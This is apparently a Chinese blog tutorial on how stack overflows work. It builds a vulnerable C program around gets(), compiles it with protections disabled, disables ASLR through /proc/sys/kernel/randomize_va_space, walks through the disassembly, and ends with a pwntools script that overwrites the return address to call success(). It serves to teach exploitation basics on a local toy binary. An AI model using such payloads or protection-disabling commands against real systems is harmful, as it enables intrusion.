栈溢出原理
文章目录
- 前言
- 一、基本示例
- 二、分析栈
- 1. 先不考虑gets函数的栈情况
- 2. 分析gets函数的栈区情况
- 三、利用栈
- 1. 构造字符串
- 2. 利用漏洞
前言
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。
一、基本示例
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限。
#include <stdio.h>
#include <string.h>void success(void)
{puts("You Hava already controlled it.");
}void vulnerable(void)
{char s[12];gets(s);puts(s);return;
}int main(int argc, char **argv)
{vulnerable();return 0;
}
这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数。
我们进行编译:gcc -m32 -fno-stack-protector stack_example.c -o stack_example -no-pie
编译器会警告gets函数,因为它是一个危险函数,从不检查输入字符串的长度。
gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。
修改/proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
- 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
- 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
- 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
echo 0 > /proc/sys/kernel/randomize_va_space 关闭 Linux 系统的 ASLR
利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。
int vulnerable()
{char s; // [sp+4h] [bp-14h]@1gets(&s);return puts(&s);
}
public vulnerable
.text:000011D8 vulnerable proc near ; CODE XREF: main+10↓p
.text:000011D8
.text:000011D8 s = byte ptr -14h ; 在栈上分配一个名为 's' 的局部缓冲区,大小为 20 字节(0x14h)
.text:000011D8 var_4 = dword ptr -4 ; 一个名为 'var_4' 的局部变量
.text:000011D8
.text:000011D8 ; __unwind {
.text:000011D8 push ebp ; 保存上一个栈帧的基指针
.text:000011D9 mov ebp, esp ; 为当前栈帧设置新的基指针
.text:000011DB push ebx ; 保存 EBX 寄存器的值(调用者保存寄存器)
.text:000011DC sub esp, 14h ; 在栈上为局部缓冲区 's' 分配 20 字节的空间
.text:000011DF call __x86_get_pc_thunk_bx ; 获取指令地址,然后jmp
.text:000011E4 add ebx, 2DF0h ; 调用者改变 EBX 寄存器的值
.text:000011EA sub esp, 0Ch ; 调用约定,清理栈
.text:000011ED lea eax, [ebp+s] ; 将 's' 的地址加载到 EAX
.text:000011F0 push eax ; 将 's' 的地址作为参数推入栈中,供 gets() 使用
.text:000011F1 call _gets ; 调用 gets() 读取字符串到 's'(存在缓冲区溢出风险)
.text:000011F6 add esp, 10h ; 调用约定,清理栈
.text:000011F9 sub esp, 0Ch ; 调用约定,平栈
.text:000011FC lea eax, [ebp+s] ; 再次将 's' 的地址加载到 EAX
.text:000011FF push eax ; 将 's' 的地址作为参数推入栈中,供 puts() 使用
.text:00001200 call _puts ; 调用 puts() 打印字符串
.text:00001205 add esp, 10h ; 调用约定,清理栈
.text:00001208 nop
.text:00001209 mov ebx, [ebp+var_4]; 恢复保存的 EBX 寄存器值
.text:0000120C leave ; 清理栈帧(相当于 'mov esp, ebp' 后跟 'pop ebp')
.text:0000120D retn ; 从函数返回
.text:0000120D ; } // starts at 11D8
.text:0000120D vulnerable endp
其实看汇编代码比较好理解点,如果有阅读障碍,建议出门右转C/C++学习中的函数调用机制和调用约定。
二、分析栈
我们只分析开始到gets函数调用完的栈。
1. 先不考虑gets函数的栈情况
未调用vul函数

调用vul函数,保存原来的EIP

PUSH EBP

MOV EBP,ESP

PUSH EAX

SUB ESP,14H

ADD ESP,OCH

PUSH EAX

ADD ESP,10H ,SUB ESP,0CH

2. 分析gets函数的栈区情况
那么我们从将s的地址赋给EAX开始分析。

然后调用 gets() 读取字符串到 ‘s’。这里要知道,缓冲区填充数据是由低往高地址增长。
而EBP到EBP-14H这块缓冲区域,在上面图,自然是从上往下填充数据的。
这就有个问题了,如果把EBP到EBP-14H这块缓冲区区域填充满,并继续填数据,会发生什么?
很自然,就是把后面的区域也给覆盖了。这就是所谓的栈溢出。
三、利用栈
1. 构造字符串
那么我们就知道如何利用所谓的栈溢出了。如果EBP开辟的局部变量区域,填充满,然后用双字填充EBP的保存地址,再用suceess的地址覆盖掉原来的返回地址。然后gets调用完,返回的地址就是suceess的地址。

那么我们要构造的字符串为:
0x14*'a'+'bbbb'+success_addr
当然如果是局部变量溢出的话,覆盖的顺序应该先为返回地址然后才是EBP。
局部变量区域是由ESP和EBP往高地址开辟的,而缓冲区是由ESP和EBP往低地址开辟的,有所区别。
2. 利用漏洞
我们可以通过 IDA 获得 success 的地址,其地址为 0x08049186。

这里稍微注意下,一般情况以小端存储,那么 0x000011AD 在内存中的形式为:
\x86\x91\x04\x08
在终端输入的时候 \x 等也算一个单独的字符。时我们就需要使用 pwntools 。
于是Payload如下:
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x08049186
## 构造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
相关文章:
栈溢出原理
文章目录 前言一、基本示例二、分析栈1. 先不考虑gets函数的栈情况2. 分析gets函数的栈区情况 三、利用栈1. 构造字符串2. 利用漏洞 前言 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。…...
Jmeter如何进行多服务器远程测试
🍅 点击文末小卡片 ,免费获取软件测试全套资料,资料在手,涨薪更快 JMeter是Apache软件基金会的开源项目,主要来做功能和性能测试,用Java编写。 我们一般都会用JMeter在本地进行测试,但是受到单…...
2.slf4j入口
文章目录 一、故事引入二、原理探究三、SLF4JServiceProvider四、总结 一、故事引入 故事要从下面这段代码说起 public class App {private static final Logger logger LoggerFactory.getLogger(App.class);public static void main( String[] args ) throws Exception {lo…...
初学stm32 --- CAN
目录 CAN介绍 CAN总线拓扑图 CAN总线特点 CAN应用场景 CAN物理层 CAN收发器芯片介绍 CAN协议层 数据帧介绍 CAN位时序介绍 数据同步过程 硬件同步 再同步 CAN总线仲裁 STM32 CAN控制器介绍 CAN控制器模式 CAN控制器模式 CAN控制器框图 发送处理 接收处理 接收过…...
软件测试—接口测试面试题及jmeter面试题
一,接口面试题 1.接口的作用 实现前后端的交互,实现数据的传输 2.什么是接口测试 接口测试就是对系统或组件之间的接口进行测试,主要是校验数据的交换、传递和控制管理过程,以及相互逻辑关系 3.接口测试必要性 1.可以发现很…...
图论的起点——七桥问题
普瑞格尔河从古堡哥尼斯堡市中心流过,河中有小岛两座,筑有7座古桥,哥尼斯堡人杰地灵,市民普遍爱好数学。1736年,该市一名市民向大数学家Euler提出如下的所谓“七桥问题”: 从家里出发,7座桥每桥…...
嵌入式开发通讯协议大全(在写中)
目录 modbus RTU通讯协议: pmbus通讯协议: modbus RTU通讯协议: 主要应用功能: 规范了软件变量,访问功能码,给不同工程师开发的不同产品有统一的通讯标准 帧结构简单,占用带宽少,…...
webpack 4 升级 webpack 5
升级至最新的 webpack 和 webpack-cli npm run build 报错, unknown option -p 解决方案: 改成 --mode production npm run build 报错 unknown option --hide-modules 解决方案:直接移除 npm run build 报错:TypeError: Cannot a…...
oneplus3t-lineageos-16.1编译-android9, oneplus3t-lineage-14编译-android7
oneplus3t-lineage-14编译-android7 1 清华linageos镜像 x lineage-14.1-20180223-nightly-oneplus3-signed.zip ntfs分区挂载为普通用户目录 , ext4分区挂载为普通用户目录 bfsu/lineageOS镜像 ts/lingeageOS镜像 oneplus3/lineage-build-simple-manual.md, manifest-p…...
HTML中最基本的东西
本文内容的标签,将是看懂HTML的最基本之基本 ,是跟您在写文章时候一样内容。一般想掌握极其容易,但是也要懂得如何使用,过目不忘,为手熟尔。才是我们学习的最终目的。其实边看边敲都行,或者是边看边复制粘贴…...
<OS 有关>Ubuntu 24 安装 openssh-server, tailscale+ssh 慢增加
更新日志: Created on 14Jan.2025 by Dave , added openssh-server, tailescape Updated on 15Jan.2025, added "tailescape - tailscape ssh" 前期准备: 1. 更新可用软件包的数据库 2. 升级系统中所有已安装的软件包到最新版本 3. 安装 cur…...
神经网络常见操作(卷积)输入输出
卷积 dimd的tensor可以进行torch.nn.Convnd(in_channels,out_channels),其中nd-1,d-2对于torch.nn.Convnd(in_channels,out_channels),改变的是tensor的倒数n1维的大小 全连接 使用torch.nn.Linear(in_features,out_features,bias)实现YXWT b,其中X 的形状为 (ba…...
25/1/16 嵌入式笔记 STM32F108
输入捕获 TIM_TimeBaseInitTypeDef TIM_TimeBaseStruct; TIM_TimeBaseStruct.TIM_Period 0xFFFF; // 自动重装载值 TIM_TimeBaseStruct.TIM_Prescaler 71; // 预分频值 TIM_TimeBaseStruct.TIM_ClockDivision 0; TIM_TimeBaseStruct.TIM_CounterMode TIM_CounterMode_Up…...
mac 安装 node
brew versions node // 安装 node brew versions node14 // 安装指定版本 卸载node: sudo npm uninstall npm -g sudo rm -rf /usr/local/lib/node /usr/local/lib/node_modules /var/db/receipts/org.nodejs.* sudo rm -rf /usr/local/include/node /Users/$USER/.npm su…...
mysql常用运维命令
mysql常用运维命令 查看当前所有连接 -- 查看当前所有连接 SHOW FULL PROCESSLIST;说明: 关注State状态列,是否有锁。如果大量状态是waiting for handler commit检查磁盘是否占满关注Time耗时列,是否有慢查询关注Command列,如果…...
正则表达式学习网站
网上亲测好用的网站: Regexlearn 这个网站可以从0开始教会正则表达式的使用。 mklab 包含常用表达式,车次,超链接,号码等提取。...
gradle,adb命令行编译备忘
追踪依赖(为了解决duplicateClass…错误) gradlew.bat app:dependencies > dep-tree.txt # 分析dep-tree.txt的依赖结构,找到对应的包,可能需要做exclude控制,或者查看库issueverbose编译(我一直需要verbose) gradlew.bat assembleDebug -Dhttps.pr…...
C++:工具VSCode的编译和调试文件内容:
ubuntu24.04, vscode 配置文件 C 的环境 下载的gcc,使用命令为 sudo aptitude update sudo aptitude install build-essential -f- sudo: 以超级用户权限运行命令。 - aptitude: 包管理工具,用于安装、更新和删除软件包。 - install: 安装指…...
SpringMVC Idea 搭建 部署war
1.创建 Idea项目 使用Maven模板 创建 webApp模板项目 2.导入依赖 <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://ma…...
YOLOv10-1.1部分代码阅读笔记-loaders.py
loaders.py ultralytics\data\loaders.py 目录 loaders.py 1.所需的库和模块 2.class SourceTypes: 3.class LoadStreams: 4.class LoadScreenshots: 5.class LoadImagesAndVideos: 6.class LoadPilAndNumpy: 7.class LoadTensor: 8.def autocast_list(source…...
ROS Noetic下用Python脚本在Gazebo里动态生成障碍物(附完整代码和常见报错解决)
ROS Noetic下Python脚本动态生成Gazebo障碍物的工程实践 在机器人仿真测试中,动态生成环境障碍物是验证导航算法鲁棒性的关键手段。传统手动拖拽方式效率低下且难以复现特定测试场景,而通过编程控制Gazebo仿真环境则能实现测试流程的自动化与标准化。本文…...
Phi-3-mini-4k-instruct-gguf一文详解:从网页问答到摘要改写的全流程应用
Phi-3-mini-4k-instruct-gguf一文详解:从网页问答到摘要改写的全流程应用 1. 认识Phi-3-mini-4k-instruct-gguf Phi-3-mini-4k-instruct-gguf是微软Phi-3系列中的轻量级文本生成模型GGUF版本。这个模型特别适合处理问答、文本改写、摘要整理和简短创作等任务。想象…...
AI写专著必备攻略:专业工具推荐,轻松开启学术专著创作之旅
学术专著写作困境与AI工具解决方案 学术专著的严谨性,离不开大量资料和数据的支持。资料的搜集和数据整合,往往是写作过程中最为繁琐和耗时的环节。研究者必须全面检索国内外的前沿文献,以确保这些文献的权威性和相关性,同时还要…...
从黑客攻防角度看网络命令:如何用ping/tracert/nslookup发现网络安全隐患
网络命令的攻防实战:用基础工具发现隐藏的安全威胁 当大多数人还在把ping、tracert这些基础网络命令当作简单的连通性测试工具时,安全工程师已经将它们变成了发现网络威胁的"显微镜"。这些看似简单的命令行工具,在专业的安全分析场…...
开发者的第二曲线:2026年最赚钱的5个技术副业
在技术范式加速重构的2026年,软件质量保障的重要性已从“成本中心”跃升为“价值中心”。对于敏锐的软件测试从业者而言,这不仅是职业的深化,更是将专业壁垒转化为财富增长的绝佳契机。传统的“接私活”模式正在被更具复利效应和杠杆价值的“…...
Java中如何实现Excel跨工作表数据复制
本文介绍了如何在Java程序中有效地复制Excel工作表中的数据。许多Java开发人员需要将数据从一个工作表复制到另一个工作表。本文提供了一个代码示例来帮助您解决这个问题。核心是如何在Java中有效地复制Excel工作表中特定区域的数据。下面的例子是使用Java库(具体的…...
保姆级教程:将你的YOLOv8模型用Gradio部署到公网,并设置密码保护(避免临时链接失效)
从原型到生产:YOLOv8模型的安全部署与Gradio高级应用指南 当你的YOLOv8模型在本地运行良好,接下来最自然的想法就是把它分享给团队成员、客户或者进行小范围演示。Gradio提供的shareTrue参数看似简单,但背后隐藏着许多值得深入探讨的技术细节…...
避坑指南:lidar_align标定IMU外参时,loader.cpp源码修改与运动轨迹设计的那些关键细节
避坑指南:lidar_align标定IMU外参的核心细节与实战优化 在自动驾驶和机器人定位领域,激光雷达与IMU的联合标定是系统搭建的关键环节。许多开发者在初次使用lidar_align工具时会遇到各种问题——从源码适配的困惑到标定结果的不可靠。本文将深入剖析两个最…...
IDEA插件开发:集成Nunchaku-flux-1-dev实现代码注释自动图解
IDEA插件开发:集成Nunchaku-flux-1-dev实现代码注释自动图解 1. 引言 作为一名Java开发者,你是否曾经面对过这样的困境:接手一个复杂的遗留系统,代码量庞大但注释稀少,逻辑关系错综复杂,光是理解代码执行…...
巧用Google Maps与ScreenToGif:零行程数据也能轻松生成动态路线图
1. 从零开始制作动态路线图的必备工具 最近有个朋友问我:"想给客户展示项目选址的交通路线,但实地考察还没开始,怎么做出专业的动态路线图?"这让我想起自己两年前第一次做商业提案时的窘境——当时为了展示物流配送路线…...
